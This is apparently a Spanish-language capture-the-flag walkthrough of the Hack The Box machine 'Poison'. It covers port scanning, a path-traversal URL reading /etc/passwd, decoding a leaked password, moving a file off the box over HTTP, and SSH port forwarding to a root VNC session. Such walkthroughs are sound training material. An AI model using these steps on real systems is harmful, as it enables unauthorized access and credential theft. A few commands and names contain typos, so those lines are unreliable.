Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb.ovpn
Enumeración
Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:
$ ping -c 1 10.10.10.84
El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.
Vamos a hacer un escaneo de puertos:
$ nmap -p- -A --open 10.10.10.84 -n -v
Vemos que tiene el puerto 22 y el puerto 80 abiertos.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Si vamos al navegador web vemos lo siguiente:
La página contiene un formulario en el que se nos permite introducir el nombre de un fichero y ver su contenido.
Si vemos la petición que se lanza se trata de una petición GET en el que el nombre del fichero va en el parámetro file de la url /browse.php
La web nos informa que podemos probar ciertos archivos. Probamos con listsfiles.php y vemos los siguientes:
Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt )
Hay uno interesante y se trata de pwdbackup.txt.
Lo consultamos y nos encontramos con lo siguiente:
Parece ser una clave que dice que se ha encriptado hasta 13 veces.
Si consultamos el fichero phpinfo.php podemos ver en la variable _SERVER[“SCRIPT_FILENAME”] la ruta desde donde estamos
_SERVER["SCRIPT_FILENAME"] = /usr/local/www/apache24/data/browser.php
Desde esta ruta podemos inferir la ruta absoluta para leer el fichero de /etc/passwd
http://10.10.10.84/browse.php?file=../../../../../etc/passwd
Para desencriptar la clave 13 veces podemos montarnos el siguiente script de python:
#!/usr/bin/env python3
import base64
base64_key = 'Vm0wd2QyUXlVWGxW......'
base64_key = base64_key.replace(" ","")
print("Original key: {}".format(base64_key))
print("\n")
keys = []
for i in range(0,13):
if 0 == i:
key = base64_key
else:
key = keys[i-1]
key_bytes = key.encode('ascii')
key_decoded = base64.b64decode(key_bytes)
kk = key_decoded.decode('ascii')
print("Iteration {}".format(i+1))
print(kk)
keys.append(kk)
El resultado final es:
- Charix!2#4%6&8(0
Capturar User Flag
Con la contraseña ya descifrada y viendo el fichero de /etc/passwd podemos conectarnos por ssh de la siguiente forma:
$ ssh charix@10.10.10.84
En la home del usuario tenemos el fichero user.txt con la User Flag.
Capturar Root Flag
En la home del usuario charix vemos el fichero secret.zip que nos pide una contraseña.
Si tratamos de descomprimirlo aquí nos dará error así que para ello nos lo transferimos a nuestra máquina mediante lo siguiente:
$ python -m SimpleHTTPServer 8000
----
$ wget http://10.10.10.84:8000/secret.zip
Lo descomprimimos usando la misma contraseña que para el ssh y vemos que se trata de un fichero con una secuencia de bytes:
Si hacemos un ps aux veremos que hay un proceso vnc corriendo asociado a root:
charix@Poison:~ % ps aux | grep vnc
root 529 0.0 0.9 23620 8868 v0- I 16:45 0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800
VNC (Virtual Network Computing) sirve para compartir de forma remota el escritorio gráfico de la máquina.
Si intentamos conectarnos desde la máquina comprometida a vncviewer no podremos porque no lo tenemos y tampoco hay abierto ningún puerto como para conectarnos remotamente.
Lo que vamos a hacer es tunneling y redireccionar tráfico hacia un puerto.
Para saber que puertos tiene abiertos localmente podemos ejecutar netstat:
harix@Poison:~ % netstat -na -f inet | grep LISTEN
tcp4 0 0 *.5802 *.* LISTEN
tcp4 0 0 *.5902 *.* LISTEN
tcp4 0 0 *.6002 *.* LISTEN
tcp4 0 0 127.0.0.1.25 *.* LISTEN
tcp4 0 0 *.80 *.* LISTEN
tcp4 0 0 *.22 *.* LISTEN
tcp4 0 0 127.0.0.1.5801 *.* LISTEN
tcp4 0 0 127.0.0.1.5901 *.* LISTEN
Puerto 5901 claro candidato.
Para hacer el tunneling podemos usar el parámetro -L del comando SSH para hacer un binding entre puertos
ssh -L5901:127.0.0.1:5901 charix@10.10.10.84
Si ejecutamos el siguiente comando en nuestra máquina veremos como tenemos el puerto de vncviewer redirigido:
$ netstat -anp | grep 5901
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:5901 0.0.0.0:* LISTEN 14075/ssh
tcp6 0 0 ::1:5901 :::* LISTEN 14075/ssh
Procedemos a conectarnos con vncviewer indicando con el argumento -passwd el fichero secret que hemos bajado antes:
$ vncviewer localhost:5901-passwrd secret
Automáticamente se nos abrirá una ventana de acceso remoto al servidor como root.
Si vamos al directorio /root ahí tendremos el fichero root.txt con la Root Flag.